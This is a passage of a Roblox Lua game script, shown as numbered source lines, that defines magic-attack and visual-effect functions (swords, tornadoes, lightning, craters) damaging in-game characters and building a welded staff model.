| 6872 | local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface | |
| 6873 | gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1) | |
| 6874 | end) end | |
| 6875 | end | |
| 6876 | end) | |
| 6877 | end | |
| 6878 | function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end | |
| 6879 | v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force | |
| 6880 | end) end | |
| 6881 | function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo | |
| 6882 | local tcf = tcf2 for i=1,tym do | |
| 6883 | bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p) | |
| 6884 | if bhit and (bpos - tcf.p).magnitude < rang then break end | |
| 6885 | tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj | |
| 6886 | wait() end | |
| 6887 | if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end | |
| 6888 | if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end | |
| 6889 | end) end | |
| 6890 | function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then | |
| 6891 | if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end
| |
| 6892 | v.Anchored = false stick(hit,v) | |
| 6893 | wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end | |
| 6894 | --Dio's functions | |
| 6895 | function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3) | |
| 6896 | GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05) | |
| 6897 | local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT})
| |
| 6898 | pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end | |
| 6899 | local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end)
| |
| 6900 | end local bped = {}
| |
| 6901 | function SpikeSucker(pos,sc) | |
| 6902 | local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos | |
| 6903 | local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall})
| |
| 6904 | local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"White") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond})
| |
| 6905 | local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do | |
| 6906 | for i=0,1,0.1 do tms = tms + 1 | |
| 6907 | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) | |
| 6908 | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
| |
| 6909 | wait() | |
| 6910 | end | |
| 6911 | for i=1,0,-0.1 do tms = tms + 1 | |
| 6912 | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) | |
| 6913 | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
| |
| 6914 | wait() | |
| 6915 | end | |
| 6916 | for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end | |
| 6917 | end | |
| 6918 | q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end) | |
| 6919 | end | |
| 6920 | function Blackspace(pos,tms,dmg) | |
| 6921 | local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos | |
| 6922 | for i=1,0.5,-0.1 do bal.Transparency =i wait() end | |
| 6923 | for i=1,tms do local o = 25 | |
| 6924 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0) | |
| 6925 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0) | |
| 6926 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0) | |
| 6927 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0) | |
| 6928 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0) | |
| 6929 | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0) | |
| 6930 | local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end
| |
| 6931 | wait(0.05) | |
| 6932 | end | |
| 6933 | for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove() | |
| 6934 | end | |
| 6935 | function MatterBall(pos,sc,spid,tyms,dmgmul) q(function() | |
| 6936 | local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0})
| |
| 6937 | cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos | |
| 6938 | local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local Cobalt1164vt = {-2*sc,2*sc}
| |
| 6939 | local Cobalt1164v3 = v3(0,0,0) local Cobalt1164rn = rn(1,3) if Cobalt1164rn == 1 then Cobalt1164v3=v3(Cobalt1164vt[rn(1,2)],0,0) elseif Cobalt1164rn == 2 then Cobalt1164v3=v3(0,Cobalt1164vt[rn(1,2)],0) elseif Cobalt1164rn == 3 then Cobalt1164v3=v3(0,0,Cobalt1164vt[rn(1,2)]) end cor.Mesh.Scale=corms+Cobalt1164v3 cor2.Mesh.Scale=cor2ms+Cobalt1164v3 | |
| 6940 | cor.CFrame = pos*cn(0,0,-spid*i) | |
| 6941 | local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p) | |
| 6942 | if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end | |
| 6943 | cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame | |
| 6944 | local Cobalt1164pos = FindGround(cor.CFrame) if Cobalt1164pos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(Cobalt1164pos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end | |
| 6945 | wait() end cor.Fire:Remove() | |
| 6946 | q(function() | |
| 6947 | local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram})
| |
| 6948 | local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0) | |
| 6949 | for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end) | |
| 6950 | local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end)
| |
| 6951 | end) end | |
| 6952 | function FistBoom(pos,sc,dmg,TYMZEH) q(function() | |
| 6953 | local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"})
| |
| 6954 | rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45)) | |
| 6955 | for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end | |
| 6956 | for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end | |
| 6957 | local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist})
| |
| 6958 | for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end | |
| 6959 | fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color})
| |
| 6960 | local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local armm = it('CylinderMesh',arm)
| |
| 6961 | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) | |
| 6962 | for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0) | |
| 6963 | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) | |
| 6964 | wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1 | |
| 6965 | for x=45,0,-5 do | |
| 6966 | rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0) | |
| 6967 | arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0) | |
| 6968 | wait() | |
| 6969 | end | |
| 6970 | q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local Cobalt1164v3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+Cobalt1164v3 fis.CFrame=cfz[3]+Cobalt1164v3 arm.CFrame=cfz[2]+Cobalt1164v3 wait() end
| |
| 6971 | for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove() | |
| 6972 | for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove() | |
| 6973 | for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end) | |
| 6974 | local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end)
| |
| 6975 | MakeCrater(fis.Position+v3(0,2,0),5,7,10) | |
| 6976 | end) end | |
| 6977 | WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {}
| |
| 6978 | for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end | |
| 6979 | local mm = it('Model',su) local tr = 0.15
| |
| 6980 | local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"})
| |
| 6981 | local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1)
| |
| 6982 | local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2)
| |
| 6983 | local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3)
| |
| 6984 | local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4)
| |
| 6985 | local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5)
| |
| 6986 | local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"})
| |
| 6987 | for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end
| |
| 6988 | worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end | |
| 6989 | worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove() | |
| 6990 | end) end | |
| 6991 | SpawnTornado = function(pos,sc,ski,tyms) q(function() | |
| 6992 | local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado})
| |
| 6993 | tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end) | |
| 6994 | local zz = 0 local tpos = tor.Position | |
| 6995 | q(function() while tor.Parent do zz = zz+1 | |
| 6996 | tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait() | |
| 6997 | local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p
| |
| 6998 | if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end | |
| 6999 | wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end)
| |
| 7000 | end end) | |
| 7001 | wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05) | |
| 7002 | end) end | |
| 7003 | function CrownSwords(pos) q(function() | |
| 7004 | local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"})
| |
| 7005 | hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end | |
| 7006 | for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end | |
| 7007 | local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end
| |
| 7008 | local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end
| |
| 7009 | local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)})
| |
| 7010 | q(function() for i=1,20 do | |
| 7011 | swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0) | |
| 7012 | wait() end end) | |
| 7013 | for i2,v in pairs(swr) do q(function() for i=1,20 do | |
| 7014 | v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0) | |
| 7015 | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end | |
| 7016 | for i2,v in pairs(swr2) do q(function() for i=1,20 do | |
| 7017 | v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0) | |
| 7018 | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1) | |
| 7019 | for i=20*3.5,0,-20*3.5/12 do | |
| 7020 | swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1) | |
| 7021 | wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
| |
| 7022 | for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end | |
| 7023 | wait(5) fade(swor,0.02) | |
| 7024 | end) end | |
| 7025 | function SpawnDeathBlock(pos,rootvel,sc) q(function() | |
| 7026 | local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6))) | |
| 7027 | local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1})
| |
| 7028 | bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end
| |
| 7029 | GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1) | |
| 7030 | local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove()
| |
| 7031 | end) | |
| 7032 | for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end | |
| 7033 | wait(rn(23,30)) | |
| 7034 | for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end
| |
| 7035 | local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
| |
| 7036 | fade(bl,0.1) fade(sk,0.1) | |
| 7037 | end) end | |
| 7038 | ---- TUT01Cobalt1164 | |
| 7039 | han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han)
| |
| 7040 | hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)})
| |
| 7041 | han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2)
| |
| 7042 | han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)})
| |
| 7043 | han3 = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5})
| |
| 7044 | han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)})
| |
| 7045 | han4 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5})
| |
| 7046 | han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)})
| |
| 7047 | for i=1,7 do | |
| 7048 | des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1)
| |
| 7049 | desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))})
| |
| 7050 | end | |
| 7051 | for i=0,270,90 do | |
| 7052 | des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike})
| |
| 7053 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)})
| |
| 7054 | end | |
| 7055 | han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5})
| |
| 7056 | han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)})
| |
| 7057 | han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5})
| |
| 7058 | han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)})
| |
| 7059 | han7 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring})
| |
| 7060 | han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)})
| |
| 7061 | han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5})
| |
| 7062 | han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)})
| |
| 7063 | han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3})
| |
| 7064 | han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))})
| |
| 7065 | q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end) | |
| 7066 | for i=0,2 do | |
| 7067 | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
| |
